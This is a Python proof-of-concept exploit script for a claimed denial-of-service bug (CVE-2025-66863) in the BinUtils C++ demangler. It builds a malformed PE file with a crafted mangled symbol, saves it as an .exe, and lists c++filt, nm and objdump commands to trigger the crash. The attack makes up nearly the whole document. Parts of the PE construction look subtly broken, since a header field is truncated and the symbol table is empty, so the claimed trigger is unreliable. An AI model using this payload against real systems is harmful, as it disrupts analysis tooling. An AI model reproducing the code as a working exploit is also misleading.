#!/usr/bin/env python3
"""
CVE-2025-66863 PoC - BinUtils cp-demangle.c d_discriminator DoS
This PoC demonstrates a crafted PE file that can trigger denial of service
in BinUtils 2.26 when processing C++ mangled symbols.
"""
import struct
def create_malformed_pe():
"""
Create a minimal PE file with malformed C++ mangled symbol
that triggers d_discriminator function vulnerability
"""
# PE Header
pe_header = bytearray()
# DOS Header (minimal)
pe_header += b'MZ' # DOS signature
pe_header += b'\x00' * 58
pe_header += struct.pack('<I', 64) # PE header offset
# PE Signature
pe_header += b'PE\x00\x00'
# COFF Header
pe_header += struct.pack('<H', 0x014c) # Machine (i386)
pe_header += struct.pack('<H', 1) # NumberOfSections
pe_header += struct.pack('<I', 0) # TimeDateStamp
pe_header += struct.pack('<I', 0) # PointerToSymbolTable
pe_header += struct.pack('<I', 0) # NumberOfSymbols
pe_header += struct.pack('<H', 224) # SizeOfOptionalHeader
pe_header += struct.pack('<H', 0x0102) # Characteristics
# Optional Header (standard)
pe_header += struct.pack('<H', 0x010b) # Magic (PE32)
pe_header += b'\x0e' # LinkerVersion
pe_header += struct.pack('<I', 0x1000) # SizeOfCode
pe_header += struct.pack('<I', 0) # SizeOfInitializedData
pe_header += struct.pack('<I', 0) # SizeOfUninitializedData
pe_header += struct.pack('<I', 0x1000) # AddressOfEntryPoint
pe_header += struct.pack('<I', 0x1000) # BaseOfCode
pe_header += struct.pack('<I', 0) # BaseOfData
pe_header += struct.pack('<I', 0x400000) # ImageBase
pe_header += struct.pack('<I', 0x1000) # SectionAlignment
pe_header += struct.pack('<I', 0x200) # FileAlignment
pe_header += struct.pack('<H', 4) # OSVersion
pe_header += struct.pack('<H', 0) # ImageVersion
pe_header += struct.pack('<H', 0) # SubsystemVersion
pe_header += struct.pack('<I', 0) # Win32VersionValue
pe_header += struct.pack('<I', 0x5000) # SizeOfImage
pe_header += struct.pack('<I', 0x200) # SizeOfHeaders
pe_header += struct.pack('<I', 0) # CheckSum
pe_header += struct.pack('<H', 3) # Subsystem
pe_header += struct.pack('<H', 0) # DllCharacteristics
pe_header += struct.pack('<I', 0x100000) # SizeOfStackReserve
pe_header += struct.pack('<I', 0x1000) # SizeOfStackCommit
pe_header += struct.pack('<I', 0x100000) # SizeOfHeapReserve
pe_header += struct.pack('<I', 0x1000) # SizeOfHeapCommit
pe_header += struct.pack('<I', 0) # LoaderFlags
pe_header += struct.pack('<I', 16) # NumberOfRvaAndSizes
# Data Directories (empty)
pe_header += b'\x00' * 128
# Section Header (.text)
pe_header += b'.text\x00' # Name
pe_header += struct.pack('<I', 0x1000) # VirtualSize
pe_header += struct.pack('<I', 0x1000) # VirtualAddress
pe_header += struct.pack('<I', 0x200) # SizeOfRawData
pe_header += struct.pack('<I', 0x200) # PointerToRawData
pe_header += struct.pack('<I', 0) # PointerToRelocations
pe_header += struct.pack('<I', 0) # PointerToLinenumbers
pe_header += struct.pack('<H', 0) # NumberOfRelocations
pe_header += struct.pack('<H', 0) # NumberOfLinenumbers
pe_header += struct.pack('<I', 0x60000020) # Characteristics
# Section Data with crafted mangled symbol
section_data = bytearray()
# Crafted C++ mangled symbol that triggers d_discriminator
# Pattern: _Z + deeply nested discriminator + malformed data
mangled_symbol = b'_Z' + b'D' * 1000 + b'\xff\xff\xff\xff' * 100
section_data += mangled_symbol
section_data += b'\x00' * (0x200 - len(section_data))
pe_file = pe_header + section_data
return pe_file
def main():
print("[*] CVE-2025-66863 PoC Generator")
print("[*] Target: BinUtils 2.26 cp-demangle.c d_discriminator")
# Generate malicious PE file
pe_data = create_malformed_pe()
# Save the PoC file
output_file = 'CVE-2025-66863_poc.exe'
with open(output_file, 'wb') as f:
f.write(pe_data)
print(f"[+] PoC file created: {output_file}")
print(f"[+] File size: {len(pe_data)} bytes")
print("\n[*] To trigger the vulnerability:")
print(f" $ c++filt < {output_file}")
print(f" $ nm {output_file}")
print(f" $ objdump -d {output_file}")
if __name__ == '__main__':
main()